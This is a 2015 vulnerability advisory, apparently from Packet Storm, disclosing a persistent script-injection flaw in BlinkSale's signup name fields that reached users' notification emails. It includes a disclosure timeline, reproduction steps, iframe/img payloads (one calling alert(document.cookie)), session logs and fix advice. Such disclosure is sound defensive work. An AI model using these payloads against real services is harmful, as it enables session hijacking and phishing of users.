BlinkSale Script Insertion

Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2015-02-11T00:00:00


                                            `Document Title:  
BlinkSale Bug Bounty #1 - Encode & Validation Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Product & Service Introduction:  
We like to get paid. We’re sure you feel the same. So while you can use Blinksale and get paid by check, our integration   
with Stripe* makes it easy to get paid in a flash. Just sign up at Stripe, put your credentials into Blinksale, and you’re   
all set to accept credit card payments on your invoices!  
(Copy of the Vendor Homepage: )  
Abstract Advisory Information:  
The Vulnerability Laboratory Research Team discovered an application-side input validation mail encoding web vulnerability in the official BlinkSale web-application.  
Vulnerability Disclosure Timeline:  
2015-01-19: Researcher Notification & Coordination (Benjamin Kunz Mejri)  
2015-01-20: Vendor Notification (BlinksaleSecurity Team)  
2015-01-26: Vendor Response/Feedback (BlinksaleSecurity Team)  
2015-02-03: Vendor Fix/Patch (Blinksale Developer Team)  
2015-02-06: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Affected Product(s):  
Doublewide Partners  
Product: Blinksale 2015 Q1  
Exploitation Technique:  
Severity Level:  
Technical Details & Description:  
A persistent input validation mail encoding vulnerability has been discovered in the official BlinkSale company web-application.  
The issue allows remote attackers to inject own malicious web context to the application-side of a vulnerable module or function.  
The security vulnerability is located in the `firstname` and `lastname` input field values of the `signups` file. Remote attackers and   
local privileged application user accounts can exploit the issue to execute persistent malicious context in blinksale service mails.  
The injection takes place in the signup POST method request with the vulnerable input values. The execution of the script code occurs   
on the application-side in the email after the introduction word `Hello` [X Username]. Attackers are able to inject iframes, img sources   
with onload alert or other script code tags. The service does not encode the input and has also no input restriction. After the code has   
been saved during the registration the internal service takes the wrong encoded dbms entries and stream them back in a notification mail   
to the users inbox.  
The security risk of the persistent input validation web vulnerability in the mail encoding of the web-server is estimated as medium with a cvss   
(common vulnerability scoring system) count of 3.6. If the issue is existing in the main service values the other services can be affected by the   
issue too. Exploitation of the mail encoding and web-server validation vulnerability requires low or medium user interaction and no privileged   
customer application user account. Successful exploitation of the persistent mail encoding web vulnerability results in session hijacking, persistent   
phishing attacks, persistent redirects to external malicious source and persistent manipulation of affected or connected module context.  
Request Method(s):  
[+] POST  
Vulnerable Module(s):  
[+] signups  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
Affected Module(s):  
[+] Welcome to Blinksale!  
Proof of Concept (PoC):  
The application-side mail encoding web vulnerability can be exploited by remote attackers with low privileged application user accounta and low user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
1. Open the signup website of the blinksale portal (  
2. Include random values to the email, password and inject a script code payload as firstname and lastname to the input fields. Save!  
3. Go to the mail inbox and wait for the automatic reply with the persistent injected script code  
4. Successful reproduce of the remote mail encoding vulnerability  
Note: The issue can stream persistent malicious context in mails to existing users, new users or random emails to phish or spam!  
PoC: Welcome to Blinksale!  
<table class="content" cellpadding="0" cellspacing="0" border="0" style="border-collapse: collapse; mso-table-lspace: 0pt;   
mso-table-rspace: 0pt; width: 100%; margin: 0; padding: 0;">  
<td style="vertical-align: top; text-align: left; font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px;   
line-height: 24px; font-weight: 400; margin: 0; padding: 0; border: none;" align="left" valign="top">  
<h1 style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 22px; line-height: 24px; font-weight: 700; color: #333333   
!important; margin: 0; padding: 0 0 20px;">Hello "><[APPLICATION-SIDE SCRIPT CODE EXECUTION VULNERABILITY!]iframe src="a" onload='alert("PENTEST")'>  
<p style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px; line-height: 24px; font-weight: 400;   
margin: 0; padding: 0 0 20px; border: none;">Welcome to Blinksale, the easiest way to send invoices online! Please save this  
email as it contains important information about your account.</p>  
<p style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px; line-height: 24px; font-weight: 400;   
margin: 0; padding: 0; border: none;">Your Account Details:</p>  
<ul style="margin: 0; padding: 0 0 20px 15px; list-style: none;">  
<li style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px; line-height: 24px; font-weight:   
400; margin: 0; padding: 0; list-style: disc inside;">Your Blinksale homepage is: <a style="color: #0099ff; text-decoration: none; outline: none;"   
--- PoC Session Logs [POST] (Inject)---  
20:49:10.401[466ms][total 466ms] Status: 302[Found]  
POST Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[102] Mime Type[text/html]  
Request Header:  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]  
Accept-Encoding[gzip, deflate]  
Cookie[_ga=GA1.2.1597400543.1421696385; _gat=1;   
SnapABugHistory=1#; SnapABugVisit=3#1421696408; SnapABugChatWindow=false|0|-1,0,-1,0; __ar_v4=RKJIJ445EBHOVP4E26ZTZF%3A20150118%3A3%7  
COPBKELH4GFBMBJGM76CDSD%3A20150118%3A3%7C4ZEUEB72Y5AGLAYIRHCWUL%3A20150118%3A3; _cioid=59631;   
Response Header:  
Cache-Control[no-cache, no-store, must-revalidate, max-age=0, pre-check=0, post-check=0]  
Content-Type[text/html; charset=utf-8]  
Date[Mon, 19 Jan 2015 19:49:12 GMT]  
nRfY3JlYXRpb24GOwBGOhZhbmFseXRpY2FsX2Fkcm9sbFsGWwc7DkAOOgx1c2VyX2lkaQMqBDQ%3D--18531b9ae0baf8456e5f0e46055e512ce9699305;; path=/; secure; HttpOnly]  
Status[302 Found]  
Strict-Transport-Security[max-age=631152000; includeSubdomains]  
X-XSS-Protection[1; mode=block]  
Status: Welcome "><"<img src="x">%20%20>"<iframe src=a>%20<iframe>, your account has been created!  
<title>Any feedback on Blinksale?</title>  
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">  
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b>Any feedback on Blinksale?</td></tr><tr><td><b>Von: </b>Patrick Dodd <></td></tr><tr><td><b>Datum: </b>03.02.2015 20:45</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b></td></tr></table><br>  
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "">  
<meta http-equiv="Content-Type" content="text/html; ">  
<style type="text/css">  
body { max-width:500px; margin:10; padding: 0; font-family: sans-serif; font-size:13px; font-style: normal;}  
h1 { font-size: 16px; line-height:20px; }  
h2 { font-size: 14px; line-height:18px; }  
p { font-size: 13px; line-height: 16px; }  
.center { text-align: center }  
.unsubscribe { color:#727272; line-height:18px; }  
.unsubscribe a { color: #333 }  
@media only screen and (max-device-width: 480px) {  
body { width: 320px !important; margin: 0; padding: 0; }  
td img { height:auto !important; max-width:100% !important;}  
<body style="max-width: 500px; font-family: sans-serif; font-size: 13px; font-style: normal; margin: 10; padding: 0;">  
<!-- We'll replace this content tag with whatever you write in your email -->  
<p style="font-size: 13px; line-height: 16px;">"><iframe src="" onload='alert(document.cookie)<' i noticed that your blinksale trial has expired.><p style="font-size: 13px; line-height: 16px;">If you meant to keep your Blinksale account, you can do so by going to your Blinksale <a href="" target="_blank" rel="nofollow" text="Billing Information">Billing Information</a> page.</p>  
<p style="font-size: 13px; line-height: 16px;">If you haven't already signed up for a paid plan, do you care to share any feedback? </p>  
<p style="font-size: 13px; line-height: 16px;">What did you like? What didn't you like? Did you go with another invoicing solution? If so, why?</p>  
<p style="font-size: 13px; line-height: 16px;">All the best,</p>  
<p class="unsubscribe" style="font-size: 13px; line-height: 18px; color: #727272;">-------<br>  
Don't want to receive amazing emails from us?  
<a class="untracked" href="" style="color: #333;">Unsubscribe</a>  
<img src="">  
Solution - Fix & Patch:  
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname and lastname input fields in the signups module.  
Encode and parse the values that is get send in a notification to welcome user/customer accounts to prevent an application-side execution.  
Security Risk:  
The security risk of the application-side input validation web vulnerability in the blinksale web-application is estimated as medium. (CVSS 3.6)  
Credits & Authors:  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ( []  
Disclaimer & Information:  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
Domains: - -  
Contact: - -  
Section: - -  
Social:!/vuln_lab - -  
Feeds: - -  
Programs: - -  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
( or to get a permission.  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™